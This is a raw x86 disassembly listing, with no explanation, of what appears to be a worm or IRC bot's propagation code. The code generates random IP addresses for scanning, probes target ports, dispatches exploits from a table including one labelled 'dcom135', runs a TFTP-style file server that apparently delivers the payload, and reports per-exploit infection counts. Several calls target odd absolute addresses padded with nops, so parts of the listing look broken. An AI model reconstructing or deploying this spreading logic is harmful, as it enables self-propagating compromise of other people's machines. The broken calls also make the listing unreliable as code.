		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40D679
		add	esp, 14h


loc_406CBC:				; CODE XREF: sub_406C19+7Ej
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_170]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 25F0962h
		nop


loc_406CDC:				; CODE XREF: sub_406C19+50j
		mov	eax, [ebp+var_170]
		push	10h
		imul	eax, 234h
		push	ebx
		mov	dword_4450CC[eax], edi
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	[ebp+var_168]
		call	dword_43F668
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_40], ebx
		call	dword_43F694
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406D41
		push	1388h
		call	near ptr 260086Bh
		nop
		dec	[ebp+var_16C]
		push	[ebp+arg_0]
		jmp	loc_407104
; ---------------------------------------------------------------------------


loc_406D41:				; CODE XREF: sub_406C19+10Dj
		lea	eax, [ebp+var_378]
		push	offset aRb	; "rb"
		push	eax
		call	sub_4179A8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jnz	short loc_406DBF
		push	190h
		nop
		call	near ptr 260086Bh
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_42AC04
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40D679
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_170]
		call	sub_417076
		add	esp, 28h
		push	ebx
		nop
		call	near ptr 25F0962h


loc_406DBF:				; CODE XREF: sub_406C19+140j
		mov	esi, 200h


loc_406DC4:				; CODE XREF: sub_406C19+4A5j
		mov	eax, [ebp+arg_0]
		cmp	[eax+2A0h], ebx
		jz	loc_4070C4
		mov	[ebp+var_880], edi
		mov	edi, 80h
		push	edi
		lea	eax, [ebp+var_D8]
		push	ebx
		push	eax
		mov	[ebp+var_34], 5
		mov	[ebp+var_30], 1388h
		mov	[ebp+var_884], 1
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		lea	eax, [ebp+var_884]
		push	ebx
		push	eax
		push	ebx
		call	dword_43F650
		test	eax, eax
		jle	loc_4070B8
		mov	al, byte_43C80C
		mov	ecx, edi
		mov	[ebp+var_580], al
		xor	eax, eax
		lea	edi, [ebp+var_57F]
		mov	[ebp+var_4], 10h
		rep stosd
		stosw
		stosb
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D8]
		push	80h
		push	eax
		push	edi
		call	dword_43F640
		push	[ebp+var_28]
		mov	[ebp+var_C], eax
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4172AE
		cmp	[ebp+var_D8], bl
		pop	ecx
		pop	ecx
		jnz	loc_4070A2
		cmp	[ebp+var_D7], 1
		jnz	loc_406FEE
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_417AB0
		lea	eax, [ebp+eax+var_D5]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_D6]
		push	eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_418DA0
		add	esp, 14h
		test	eax, eax
		jnz	loc_406FA8
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_1C]
		push	[ebp+var_14]
		push	eax
		call	sub_418DA0
		add	esp, 10h
		test	eax, eax
		jnz	loc_406FA8
		push	ebx
		push	ebx
		push	[ebp+var_8]
		call	sub_418D0E
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		push	esi
		push	1
		push	eax
		mov	[ebp+var_57E], bl
		mov	[ebp+var_57D], 1
		call	sub_418A86
		add	esp, 1Ch
		lea	ecx, [ebp+var_2C]
		mov	[ebp+var_C], eax
		add	eax, 4
		push	[ebp+var_4]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	edi
		call	dword_43F6CC
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_42ABBC


loc_406F5C:				; CODE XREF: sub_406C19+484j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_4172AE
		add	esp, 10h
		cmp	[ebp+var_E0], ebx
		jnz	short loc_406F96
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40D679
		add	esp, 14h


loc_406F96:				; CODE XREF: sub_406C19+358j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40BF6D
		pop	ecx
		jmp	loc_4070B8
; ---------------------------------------------------------------------------


loc_406FA8:				; CODE XREF: sub_406C19+2B6j
					; sub_406C19+2D7j
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	13h
		push	offset dword_42ABA8
		push	edi
		call	dword_43F6CC
		lea	eax, [ebp+var_274]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_D8]
		push	offset unk_42AB74
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_40BF6D
		add	esp, 14h
		jmp	loc_4070B8
; ---------------------------------------------------------------------------


loc_406FEE:				; CODE XREF: sub_406C19+275j
		cmp	[ebp+var_D7], 4
		jnz	loc_4070A2
		mov	cl, [ebp+var_D5]
		mov	al, [ebp+var_D6]
		cmp	cl, 0FFh
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		jnz	short loc_40702B
		inc	al
		xor	cl, cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], bl
		jmp	short loc_407039
; ---------------------------------------------------------------------------


loc_40702B:				; CODE XREF: sub_406C19+3FEj
		inc	cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], cl


loc_407039:				; CODE XREF: sub_406C19+410j
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		push	ebx
		shl	eax, 9
		sub	eax, esi
		push	eax
		push	[ebp+var_8]
		call	sub_418D0E
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		push	esi
		push	1
		push	eax
		call	sub_418A86
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_C], edi
		push	[ebp+var_4]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax


loc_407079:				; DATA XREF: ___:004282F8o
					; ___:0042830Co ...
		lea	eax, [ebp+var_580]
		push	eax
		push	[ebp+var_10]
		call	dword_43F6CC
		cmp	edi, ebx
		jnz	short loc_4070B8
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_42AB20
		jmp	loc_406F5C
; ---------------------------------------------------------------------------


loc_4070A2:				; CODE XREF: sub_406C19+268j
					; sub_406C19+3DCj
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	9
		push	offset dword_42AB14
		push	edi
		call	dword_43F6CC


loc_4070B8:				; CODE XREF: sub_406C19+204j
					; sub_406C19+38Aj ...
		cmp	[ebp+var_C], ebx
		mov	edi, [ebp+var_10]
		jg	loc_406DC4


loc_4070C4:				; CODE XREF: sub_406C19+1B4j
		push	edi
		call	dword_43F700
		push	[ebp+var_8]
		call	sub_417900
		mov	esi, [ebp+arg_0]
		dec	[ebp+var_16C]
		pop	ecx
		cmp	[esi+2A0h], ebx
		jnz	short loc_4070F8
		push	[ebp+var_170]
		call	sub_417076
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F0962h


loc_4070F8:				; CODE XREF: sub_406C19+4CAj
		push	3E8h
		nop
		call	near ptr 260086Bh
		push	esi


loc_407104:				; CODE XREF: sub_406C19+123j
		call	sub_406C19
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_406C19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407110	proc near		; CODE XREF: sub_40EE72+5D3Dp

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_42B134
		push	eax
		xor	ebx, ebx
		call	sub_4172AE
		cmp	dword_42ACB0, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40717E
		push	esi
		mov	esi, offset dword_42ACB8


loc_407143:				; CODE XREF: sub_407110+6Bj
		mov	eax, [esi]
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_418DE0
		add	esi, 3Ch
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_407143
		pop	esi


loc_40717E:				; CODE XREF: sub_407110+2Bj
		push	dword_489C50
		call	sub_40B721
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_418DE0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_407110	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4071DB	proc near		; CODE XREF: sub_40EE72+56B1p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	8
		call	sub_416FA2
		test	eax, eax
		pop	ecx
		jle	short loc_407217
		mov	eax, [ebp+arg_C]
		push	dword_43C848[eax*8]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_42B198
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		jmp	short loc_40722A
; ---------------------------------------------------------------------------


loc_407217:				; CODE XREF: sub_4071DB+13j
		lea	eax, [ebp+var_200]
		push	offset unk_42B168
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_40722A:				; CODE XREF: sub_4071DB+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		add	esp, 18h
		leave
		retn
sub_4071DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407252	proc near		; CODE XREF: sub_40797F+4Fp

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_4075E2
		imul	eax, 3Ch
		xor	ebx, ebx
		cmp	dword_42ACBC[eax], ebx
		jz	loc_4074C3
		push	4
		call	sub_416FA2
		test	eax, eax
		pop	ecx
		jnz	loc_4075E2
		mov	eax, dword_42F5AC
		push	edi
		mov	edi, offset dword_43D804
		push	104h
		push	edi
		push	ebx
		mov	dword_43DA14, eax
		mov	dword_43DA10, ebx
		nop
		call	near ptr 2650000h
		push	103h
		mov	esi, offset dword_43D908
		push	offset byte_42F678
		push	esi
		call	sub_418C10
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_43D800, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_43DA98, eax
		jnz	short loc_407305
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_43DA18
		call	sub_418C10
		add	esp, 0Ch
		mov	dword_43DA9C, 1
		jmp	short loc_40731F
; ---------------------------------------------------------------------------


loc_407305:				; CODE XREF: sub_407252+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_43DA18
		call	sub_418C10
		add	esp, 0Ch
		mov	dword_43DA9C, ebx


loc_40731F:				; CODE XREF: sub_407252+B1j
		push	esi
		push	edi
		push	dword_43DA14
		lea	eax, [ebp+var_204]
		push	offset unk_42B328
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_416D5A
		add	esp, 20h
		mov	dword_43DA0C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_43D800
		push	offset sub_406C19
		push	ebx
		push	ebx
		nop
		call	near ptr 2670CCFh
		mov	ecx, dword_43DA0C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_40738E


loc_40737C:				; CODE XREF: sub_407252+13Aj
		cmp	dword_43DAA0, ebx
		jnz	short loc_4073A9
		push	32h
		nop
		call	near ptr 260086Bh
		jmp	short loc_40737C
; ---------------------------------------------------------------------------


loc_40738E:				; CODE XREF: sub_407252+128j
		nop
		call	near ptr 2640A83h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42B2E8
		push	eax
		call	sub_4172AE
		add	esp, 0Ch


loc_4073A9:				; CODE XREF: sub_407252+130j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40BF6D
		mov	edi, offset dword_43DE5C
		mov	[esp+210h+var_210], 104h
		push	edi
		push	ebx
		mov	dword_43E068, ebx
		nop
		call	near ptr 2650000h
		push	103h
		mov	esi, offset dword_43DF60
		push	offset byte_42F678
		push	esi
		call	sub_418C10
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_43DE58, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_43E0F0, eax
		jnz	short loc_407424
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_43E070
		call	sub_418C10
		add	esp, 0Ch
		mov	dword_43E0F4, 1
		jmp	short loc_40743E
; ---------------------------------------------------------------------------


loc_407424:				; CODE XREF: sub_407252+1B3j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_43E070
		call	sub_418C10
		add	esp, 0Ch
		mov	dword_43E0F4, ebx


loc_40743E:				; CODE XREF: sub_407252+1D0j
		push	esi
		push	edi
		push	dword_43E06C
		lea	eax, [ebp+var_204]
		push	offset dword_42B298
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_416D5A
		add	esp, 20h
		mov	dword_43E064, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_43DE58
		push	offset sub_4053D5
		push	ebx
		push	ebx
		nop
		call	near ptr 2670CCFh
		mov	ecx, dword_43E064
		pop	edi
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4074B2


loc_40749C:				; CODE XREF: sub_407252+25Ej
		cmp	dword_43E0F8, ebx
		jnz	loc_4075D5
		push	32h
		nop
		call	near ptr 260086Bh
		jmp	short loc_40749C
; ---------------------------------------------------------------------------


loc_4074B2:				; CODE XREF: sub_407252+248j
		nop
		call	near ptr 2640A83h
		push	eax
		push	offset dword_42B258
		jmp	loc_4075C6
; ---------------------------------------------------------------------------


loc_4074C3:				; CODE XREF: sub_407252+25j
		cmp	dword_42ACC0[eax], ebx
		jz	loc_4075E2
		push	3
		call	sub_416FA2
		test	eax, eax
		pop	ecx
		jnz	loc_4075E2
		mov	esi, offset dword_43DD34
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2650000h
		push	5Ch
		push	esi
		call	sub_418F10
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_407501
		mov	[eax], bl


loc_407501:				; CODE XREF: sub_407252+2ABj
		mov	eax, dword_42F5B0
		mov	dword_43DE4C, ebx
		mov	dword_43DE38, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_43DAAC
		call	sub_4172AE
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_43DAA8, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_43DE38
		mov	dword_43DE44, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_43DE48, ecx
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42B20C
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_416D5A
		add	esp, 20h
		mov	dword_43DE40, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_43DAA8
		push	offset sub_405AF2
		push	ebx
		push	ebx
		nop
		call	near ptr 2670CCFh
		mov	ecx, dword_43DE40
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4075BA


loc_4075A8:				; CODE XREF: sub_407252+366j
		cmp	dword_43DE54, ebx
		jnz	short loc_4075D5
		push	32h
		call	near ptr 260086Bh
		nop
		jmp	short loc_4075A8
; ---------------------------------------------------------------------------


loc_4075BA:				; CODE XREF: sub_407252+354j
		nop
		call	near ptr 2640A83h
		push	eax
		push	offset unk_42B1C8


loc_4075C6:				; CODE XREF: sub_407252+26Cj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4172AE
		add	esp, 0Ch


loc_4075D5:				; CODE XREF: sub_407252+250j
					; sub_407252+35Cj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40BF6D
		pop	ecx


loc_4075E2:				; CODE XREF: sub_407252+14j
					; sub_407252+35j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_407252	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4075E6	proc near		; CODE XREF: sub_407767:loc_4077D8p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:43C848h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_417390
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_43F59C
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_43F664
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_417390
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_4075E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40762E	proc near		; CODE XREF: sub_407767+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_417AB0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_407656
		xor	eax, eax
		jmp	short loc_4076C7
; ---------------------------------------------------------------------------


loc_407656:				; CODE XREF: sub_40762E+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_418A52
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_407683
		call	sub_41730A
		mov	[ebp+var_C], eax


loc_407683:				; CODE XREF: sub_40762E+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_407690
		call	sub_41730A
		mov	[ebp+var_8], eax


loc_407690:				; CODE XREF: sub_40762E+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40769D
		call	sub_41730A
		mov	[ebp+var_4], eax


loc_40769D:				; CODE XREF: sub_40762E+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_4076A9
		call	sub_41730A


loc_4076A9:				; CODE XREF: sub_40762E+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_43C848[ecx*8], eax


loc_4076C7:				; CODE XREF: sub_40762E+26j
		pop	esi
		leave
		retn
sub_40762E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4076CA	proc near		; CODE XREF: sub_407767+BBp
					; sub_40D4C5+30p

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_43F6E8
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4076F3
		xor	eax, eax
		jmp	short loc_407762
; ---------------------------------------------------------------------------


loc_4076F3:				; CODE XREF: sub_4076CA+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_43F668
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_43F704
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_43F610
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_43F650
		push	esi
		mov	edi, eax
		call	dword_43F700
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_407762:				; CODE XREF: sub_4076CA+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4076CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407767	proc near		; DATA XREF: sub_40797F+13Bo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		nop
		call	near ptr 2600000h
		push	eax
		call	sub_417300
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_4077AE:				; CODE XREF: sub_407767+204j
		mov	eax, dword_4450C4[ebx]
		cmp	dword_43C84C[eax*8], 0
		jz	loc_407970
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_4077D8
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40762E
		pop	ecx
		jmp	short loc_4077DD
; ---------------------------------------------------------------------------


loc_4077D8:				; CODE XREF: sub_407767+60j
		call	sub_4075E6


loc_4077DD:				; CODE XREF: sub_407767+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_4450C4[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_42B3BC
		push	eax
		call	sub_4172AE
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_444EC0[ebx]
		push	eax
		call	sub_4172AE
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_4076CA
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_407960
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_4078B4
		push	offset dword_43D7E8
		nop
		call	near ptr 77F7E21Fh
		push	[ebp+var_3C]
		push	edi
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_42B384
		push	eax
		call	sub_4172AE
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_407896
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40788A
		lea	eax, [ebp+var_140]


loc_40788A:				; CODE XREF: sub_407767+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_40D679
		add	esp, 14h


loc_407896:				; CODE XREF: sub_407767+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_40BF6D
		mov	[esp+2A8h+var_2A8], offset dword_43D7E8
		nop
		call	near ptr 77F7E300h
		jmp	loc_407960
; ---------------------------------------------------------------------------


loc_4078B4:				; CODE XREF: sub_407767+D0j
		push	edi
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4172AE
		mov	eax, [ebp+var_20]
		pop	ecx
		imul	eax, 3Ch
		pop	ecx
		add	eax, offset aDcom135_0 ; "dcom135"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_4172AE
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_4078F9
		lea	eax, [ebp+var_140]


loc_4078F9:				; CODE XREF: sub_407767+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_4172AE
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_164], eax
		imul	eax, 3Ch
		sub	esp, 0BCh
		mov	[ebp+var_168], esi
		lea	esi, [ebp+var_20C]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	off_42ACB4[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_407960:				; CODE XREF: sub_407767+C6j
					; sub_407767+148j
		push	7D0h
		nop
		call	near ptr 260086Bh
		jmp	loc_4077AE
; ---------------------------------------------------------------------------


loc_407970:				; CODE XREF: sub_407767+55j
		push	esi
		call	sub_417076
		pop	ecx
		push	0
		call	near ptr 25F0962h
		nop
sub_407767	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40797F	proc near		; DATA XREF: sub_40EE72+3300o
					; sub_40EE72+5135o

var_1DC		= dword	ptr -1DCh
var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
